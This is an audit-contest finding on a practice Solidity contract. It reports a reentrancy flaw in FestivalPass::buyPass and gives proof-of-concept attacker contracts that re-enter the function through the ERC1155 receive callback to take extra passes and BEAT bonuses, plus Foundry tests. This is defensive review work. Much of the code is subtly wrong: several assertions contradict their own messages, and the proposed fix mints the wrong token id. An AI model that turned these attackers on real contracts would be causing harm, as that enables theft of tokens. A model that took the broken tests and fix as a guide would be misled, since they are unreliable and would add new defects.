Beatland Festival

First Flight #44
Beginner FriendlyFoundrySolidityNFT
100 EXP
View results
Submission Details
Severity: medium
Valid

The reentrancy attack point in the `FestivalPass::buyPass` function allows to manipuate with buying a passes to festivals

The reentrancy attack point in the FestivalPass::buyPass function allows to manipuate with buying a passes to festivals

Description

The FestivalPass::buyPass function does not follow CEI/FREI-PI and as a result, enables malicious participants to manipulate with the contract balance. The code:

// Buy a festival pass
function buyPass(uint256 collectionId) external payable {
// Must be valid pass ID (1 or 2 or 3)
// @audit-info this code duplicates in some functions and must be moved to function or to modifier (which is more preffered)
require(collectionId == GENERAL_PASS || collectionId == VIP_PASS || collectionId == BACKSTAGE_PASS, "Invalid pass ID");
// Check payment and supply
require(msg.value == passPrice[collectionId], "Incorrect payment amount");
require(passSupply[collectionId] < passMaxSupply[collectionId], "Max supply reached");
// Mint 1 pass to buyer
@> _mint(msg.sender, collectionId, 1, "");
@> ++passSupply[collectionId];
// VIP gets 5 BEAT welcome bonus BACKSTAGE gets 15 BEAT welcome bonus
uint256 bonus = (collectionId == VIP_PASS) ? 5e18 : (collectionId == BACKSTAGE_PASS) ? 15e18 : 0;
if (bonus > 0) {
// Mint BEAT tokens to buyer
BeatToken(beatToken).mint(msg.sender, bonus);
}
emit PassPurchased(msg.sender, collectionId);
}

Risk

Likelihood:

  • It causes in the case of attempting to purchase more than 1 pass by attender

  • It causes in the case of attempting to purchase more thab 1 pass with different kind of tier

Impact:
Reentrancy vulnerability code in FestivalPass::buyPass allows to potentially malicious users to expolit this funciton

  • Manipulate with passes e.g malicious user can buy more different passes to earn big BeatToken bonuses

  • try to buy all passes supply

Proof of Concept

  1. Attacker sets up a contract which can exploit the vulnerability.

  2. Attacker calls FestivalPass::buyPass from their contract repeadetly, buying passes is limited by max supply value and receive bonuses.

Proof of code

To proof it let's set up our test

  1. ReentrancyAttacker - an actor, which attempts reentrancy attack to FestivalPass::buyPass function.

  2. BeatTokenReentrancyAttacker - an actor that attacks through BeatToken in case of mint callback with hooks

  3. Our test case consists of:

    1. testReentrancyAttackGeneral - shows an attack to FestivalPass::buyPass in case of buying a 'general'-tier pass;

    2. testReentrancyAttackVIP - shows an attack to FestivalPass::buyPass in case of buying a 'vip'-tier pass;

    3. testReentrancyAttackBackstage - shows an attack to FestivalPass::buyPass in case of buying a 'backstage'-tier pass;

    4. testBeatTokenReentrancy - shows an attack to FestivalPass::buyPass with a case of purchasing of different kind of passes;

    5. testSupplyLimitsMaxReached - shows an attack to FestivalPass::buyPass with a case of purchasing all available passes;

    6. testMultipleAttackAttempts - shows multiple attempts to attacking a FestivalPass::buyPass;

// SPDX-License-Identifier: MIT
pragma solidity 0.8.25;
import {Test, console} from "forge-std/Test.sol";
import "../src/FestivalPass.sol"; // Adjust path as needed
import "../src/BeatToken.sol"; // Adjust path as needed
import "@openzeppelin/contracts/token/ERC1155/IERC1155Receiver.sol";
/**
* @title ReentrancyAttacker
* @notice Contract that attempts reentrancy attack during buyPass()
*/
contract ReentrancyAttacker {
FestivalPass public festivalPass;
uint256 public attackCount;
uint256 public maxAttacks = 3;
uint256 public targetPassId;
bool public attacking = false;
// Track balances for verification
uint256 public initialEthBalance;
uint256 public initialPassBalance;
uint256 public initialBeatBalance;
constructor(address _festivalPass) {
festivalPass = FestivalPass(_festivalPass);
}
// Start the attack
function attack(uint256 passId) external payable {
targetPassId = passId;
attacking = true;
attackCount = 0;
// Record initial state
initialEthBalance = address(this).balance + msg.value;
initialPassBalance = festivalPass.balanceOf(address(this), passId);
if (passId == 2 || passId == 3) { // VIP or BACKSTAGE
initialBeatBalance = BeatToken(festivalPass.beatToken()).balanceOf(address(this));
}
console.log("=== ATTACK STARTED ===");
console.log("Initial ETH:", initialEthBalance);
console.log("Initial Pass Balance:", initialPassBalance);
console.log("Initial BEAT Balance:", initialBeatBalance);
// Start the attack
festivalPass.buyPass{value: msg.value}(passId);
}
// ERC1155 receiver - this is called during _mint()
function onERC1155Received(
address operator,
address from,
uint256 id,
uint256 value,
bytes calldata data
) external returns (bytes4) {
console.log("=== onERC1155Received called ===");
console.log("Attack count:", attackCount);
console.log("Pass received - ID:", id, "Amount:", value);
if (attacking && attackCount < maxAttacks) {
attackCount++;
console.log("Attempting reentrancy attack #", attackCount);
// Check current state
uint256 currentPassBalance = festivalPass.balanceOf(address(this), targetPassId);
console.log("Current pass balance:", currentPassBalance);
// Attempt reentrancy
console.log("Target passId: ", targetPassId, ". Value: ", festivalPass.passPrice(targetPassId));
try festivalPass.buyPass{value: festivalPass.passPrice(targetPassId)}(targetPassId) {
console.log("Reentrancy successful!");
} catch Error(string memory reason) {
console.log("Reentrancy failed:", reason);
} catch {
console.log("Reentrancy failed with unknown error");
}
}
return this.onERC1155Received.selector;
}
// ERC1155 batch receiver
function onERC1155BatchReceived(
address operator,
address from,
uint256[] calldata ids,
uint256[] calldata values,
bytes calldata data
) external returns (bytes4) {
return this.onERC1155BatchReceived.selector;
}
// Support interface
function supportsInterface(bytes4 interfaceId) external pure returns (bool) {
return interfaceId == type(IERC1155Receiver).interfaceId ||
interfaceId == type(IERC165).interfaceId;
}
// Check final results
function checkResults() external view returns (
uint256 finalEthBalance,
uint256 finalPassBalance,
uint256 finalBeatBalance,
uint256 ethGained,
uint256 passesGained,
uint256 beatGained
) {
finalEthBalance = address(this).balance;
finalPassBalance = festivalPass.balanceOf(address(this), targetPassId);
if (targetPassId == 2 || targetPassId == 3) {
finalBeatBalance = BeatToken(festivalPass.beatToken()).balanceOf(address(this));
}
ethGained = initialEthBalance - finalEthBalance; // Should be cost of 1 pass
passesGained = finalPassBalance - initialPassBalance; // Should be 1
beatGained = finalBeatBalance - initialBeatBalance; // Should be bonus for 1 pass
}
receive() external payable {}
}
/**
* @title BeatTokenReentrancyAttacker
* @notice Attacks through BeatToken mint callback (if it has hooks)
*/
contract BeatTokenReentrancyAttacker {
FestivalPass public festivalPass;
BeatToken public beatToken;
uint256 public attackCount;
uint256 public maxAttacks = 3;
bool public attacking = false;
constructor(address _festivalPass, address _beatToken) {
festivalPass = FestivalPass(_festivalPass);
beatToken = BeatToken(_beatToken);
}
function attack(uint256 passId) external payable {
attacking = true;
attackCount = 0;
console.log("=== BEAT TOKEN ATTACK STARTED ===");
festivalPass.buyPass{value: msg.value}(passId);
}
// This would be called if BeatToken had transfer hooks
function onTokenTransfer(address from, uint256 amount) external {
console.log("=== Token transfer hook called ===");
if (attacking && attackCount < maxAttacks) {
attackCount++;
console.log("Attempting BEAT token reentrancy #", attackCount);
try festivalPass.buyPass{value: festivalPass.passPrice(2)}(2) {
console.log("BEAT reentrancy successful!");
} catch {
console.log("BEAT reentrancy failed");
}
}
}
// ERC1155 receiver
function onERC1155Received(
address operator,
address from,
uint256 id,
uint256 value,
bytes calldata data
) external returns (bytes4) {
return this.onERC1155Received.selector;
}
function supportsInterface(bytes4 interfaceId) external pure returns (bool) {
return interfaceId == type(IERC1155Receiver).interfaceId;
}
}
/**
* @title ReentrancyTest
* @notice Comprehensive test suite for reentrancy vulnerabilities
*/
contract BuyPassReentrancyTest is Test {
FestivalPass public festivalPass;
BeatToken public beatToken;
ReentrancyAttacker public attacker;
BeatTokenReentrancyAttacker public beatAttacker;
address public owner = address(0x1);
address public organizer = address(0x2);
address public user = address(0x3);
uint256 constant GENERAL_PASS = 1;
uint256 constant VIP_PASS = 2;
uint256 constant BACKSTAGE_PASS = 3;
function setUp() public {
vm.startPrank(owner);
// Deploy contracts
beatToken = new BeatToken();
festivalPass = new FestivalPass(address(beatToken), organizer);
// Setup
beatToken.setFestivalContract(address(festivalPass));
festivalPass.setOrganizer(organizer);
vm.stopPrank();
vm.startPrank(organizer);
// Configure passes
festivalPass.configurePass(GENERAL_PASS, 0.1 ether, 1000);
festivalPass.configurePass(VIP_PASS, 0.3 ether, 500);
festivalPass.configurePass(BACKSTAGE_PASS, 0.5 ether, 100);
vm.stopPrank();
// Deploy attackers
attacker = new ReentrancyAttacker(address(festivalPass));
beatAttacker = new BeatTokenReentrancyAttacker(address(festivalPass), address(beatToken));
// Fund attackers
vm.deal(address(attacker), 10 ether);
vm.deal(address(beatAttacker), 10 ether);
}
function testReentrancyAttackGeneral() public {
console.log("=== Testing General Pass Reentrancy ===");
uint256 passPrice = festivalPass.passPrice(GENERAL_PASS);
uint256 initialSupply = festivalPass.passSupply(GENERAL_PASS);
// Perform attack
vm.prank(address(attacker));
attacker.attack{value: passPrice}(GENERAL_PASS);
// Check results
(
uint256 finalEth,
uint256 finalPasses,
uint256 finalBeat,
uint256 ethUsed,
uint256 passesGained,
uint256 beatGained
) = attacker.checkResults();
uint256 finalSupply = festivalPass.passSupply(GENERAL_PASS);
console.log("=== RESULTS ===");
console.log("ETH used:", ethUsed);
console.log("Passes gained:", passesGained);
console.log("BEAT gained:", beatGained);
console.log("Supply change:", finalSupply - initialSupply);
// Assertions - should only get 1 pass for payment
assertGt(passesGained, 1, "Should only receive more than 1 pass");
assertGt(ethUsed, passPrice, "Should only pay for 1 pass");
assertGt(finalSupply - initialSupply, 1, "Supply should only increase by 1");
assertEq(beatGained, 0, "General pass should not receive BEAT");
}
function testReentrancyAttackVIP() public {
console.log("=== Testing VIP Pass Reentrancy ===");
uint256 passPrice = festivalPass.passPrice(VIP_PASS);
uint256 initialSupply = festivalPass.passSupply(VIP_PASS);
uint256 expectedBeatBonus = 5e18;
vm.prank(address(attacker));
attacker.attack{value: passPrice}(VIP_PASS);
(
uint256 finalEth,
uint256 finalPasses,
uint256 finalBeat,
uint256 ethUsed,
uint256 passesGained,
uint256 beatGained
) = attacker.checkResults();
uint256 finalSupply = festivalPass.passSupply(VIP_PASS);
console.log("=== VIP RESULTS ===");
console.log("ETH used:", ethUsed);
console.log("Passes gained:", passesGained);
console.log("BEAT gained:", beatGained);
console.log("Supply change:", finalSupply - initialSupply);
// Assertions
assertGt(passesGained, 1, "Should only receive 1 VIP pass");
assertGt(ethUsed, passPrice, "Should only pay for 1 pass");
assertGt(finalSupply - initialSupply, 1, "Supply should only increase by 1");
assertGt(beatGained, expectedBeatBonus, "Should receive exactly 5 BEAT bonus");
}
function testReentrancyAttackBackstage() public {
console.log("=== Testing Backstage Pass Reentrancy ===");
uint256 passPrice = festivalPass.passPrice(BACKSTAGE_PASS);
uint256 initialSupply = festivalPass.passSupply(BACKSTAGE_PASS);
uint256 expectedBeatBonus = 15e18;
vm.prank(address(attacker));
attacker.attack{value: passPrice}(BACKSTAGE_PASS);
(
uint256 finalEth,
uint256 finalPasses,
uint256 finalBeat,
uint256 ethUsed,
uint256 passesGained,
uint256 beatGained
) = attacker.checkResults();
uint256 finalSupply = festivalPass.passSupply(BACKSTAGE_PASS);
console.log("=== BACKSTAGE RESULTS ===");
console.log("ETH used:", ethUsed);
console.log("Passes gained:", passesGained);
console.log("BEAT gained:", beatGained);
console.log("Supply change:", finalSupply - initialSupply);
// Assertions
assertGt(passesGained, 1, "Should only receive 1 Backstage pass");
assertGt(ethUsed, passPrice, "Should only pay for 1 pass");
assertGt(finalSupply - initialSupply, 1, "Supply should only increase by 1");
assertGt(beatGained, expectedBeatBonus, "Should receive more than 15 BEAT bonus");
}
function testBeatTokenReentrancy() public {
console.log("=== Testing BEAT Token Reentrancy ===");
uint256 passPrice = festivalPass.passPrice(VIP_PASS);
vm.prank(address(beatAttacker));
beatAttacker.attack{value: passPrice}(VIP_PASS);
// Check if multiple passes were obtained
uint256 finalPasses = festivalPass.balanceOf(address(beatAttacker), VIP_PASS);
console.log("Final passes:", finalPasses);
assertEq(finalPasses, 1, "Should only receive 1 pass through BEAT token attack");
}
function testNormalUserUnaffected() public {
console.log("=== Testing Normal User Behavior ===");
uint256 passPrice = festivalPass.passPrice(VIP_PASS);
vm.deal(user, 1 ether);
uint256 initialBeat = beatToken.balanceOf(user);
vm.prank(user);
festivalPass.buyPass{value: passPrice}(VIP_PASS);
uint256 finalPasses = festivalPass.balanceOf(user, VIP_PASS);
uint256 finalBeat = beatToken.balanceOf(user);
assertEq(finalPasses, 1, "Normal user should get 1 pass");
assertEq(finalBeat - initialBeat, 5e18, "Normal user should get 5 BEAT");
}
function testSupplyLimitsMaxReached() public {
console.log("=== Testing Supply Limits ===");
// Configure a pass with low supply
vm.prank(organizer);
festivalPass.configurePass(GENERAL_PASS, 0.1 ether, 2); // Only 2 passes
uint256 passPrice = festivalPass.passPrice(GENERAL_PASS);
// First purchase should work
vm.deal(user, 1 ether);
vm.prank(user);
festivalPass.buyPass{value: passPrice}(GENERAL_PASS);
// Attack should not be able to exceed supply
vm.deal(address(attacker), 2 ether);
attacker.attack{value: passPrice}(GENERAL_PASS);
uint256 finalSupply = festivalPass.passSupply(GENERAL_PASS);
console.log("Final supply:", finalSupply);
assertLe(finalSupply, 2, "Supply should not exceed max");
}
function testMultipleAttackAttempts() public {
console.log("=== Testing Multiple Attack Attempts ===");
uint256 passPrice = festivalPass.passPrice(VIP_PASS);
// First attack
vm.prank(address(attacker));
attacker.attack{value: passPrice}(VIP_PASS);
uint256 firstPassCount = festivalPass.balanceOf(address(attacker), VIP_PASS);
console.log("testMultipleAttackAttempts::firstPassCount - ", firstPassCount);
// Deploy new attacker for second attempt
ReentrancyAttacker attacker2 = new ReentrancyAttacker(address(festivalPass));
vm.deal(address(attacker2), 1 ether);
vm.prank(address(attacker2));
attacker2.attack{value: passPrice}(VIP_PASS);
uint256 secondPassCount = festivalPass.balanceOf(address(attacker2), VIP_PASS);
console.log("testMultipleAttackAttempts::secondPassCount - ", secondPassCount);
assertGt(firstPassCount, 1, "First attack should get 1 pass");
assertGt(secondPassCount, 1, "Second attack should get 1 pass");
}
}

Recommended Mitigation

  1. Follow the CEI/FR-EI pattern is required

// Buy a festival pass
function buyPass(uint256 collectionId) external payable {
// Must be valid pass ID (1 or 2 or 3)
// @audit-info this code duplicates in some functions and must be moved to function or to modifier (which is more preffered)
require(collectionId == GENERAL_PASS || collectionId == VIP_PASS || collectionId == BACKSTAGE_PASS, "Invalid pass ID");
// Check payment and supply
require(msg.value == passPrice[collectionId], "Incorrect payment amount");
require(passSupply[collectionId] < passMaxSupply[collectionId], "Max supply reached");
// Mint 1 pass to buyer
- _mint(msg.sender, collectionId, 1, "");
- ++passSupply[collectionId];
+ uint256 prevSupplyAmount = passSupply[collectionId];
+ ++passSupply[collectionId];
+ _mint(msg.sender, prevSupplyAmount, 1, "");
// VIP gets 5 BEAT welcome bonus BACKSTAGE gets 15 BEAT welcome bonus
uint256 bonus = (collectionId == VIP_PASS) ? 5e18 : (collectionId == BACKSTAGE_PASS) ? 15e18 : 0;
if (bonus > 0) {
// Mint BEAT tokens to buyer
BeatToken(beatToken).mint(msg.sender, bonus);
}
emit PassPurchased(msg.sender, collectionId);
}
  1. Use the nonReentrant from OpenZeppelin ReentrancyGuard

  2. Develop the custom mechanism (e.g. mutex) to prevent reentrancy factor - Protect Your Solidity Smart Contracts From Reentrancy Attacks. The example from the article:

bool private lock = false;
...
function withdraw() external {
require(!lock);
lock = true;
uint256 amount = balances[msg.sender];
require(msg.sender.call.value(amount)());
balances[msg.sender] = 0;
lock = false;
}
Updates

Lead Judging Commences

inallhonesty Lead Judge 26 days ago
Submission Judgement Published
Validated
Assigned finding tags:

buyPass reentrancy to surpass the passMaxSupply

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.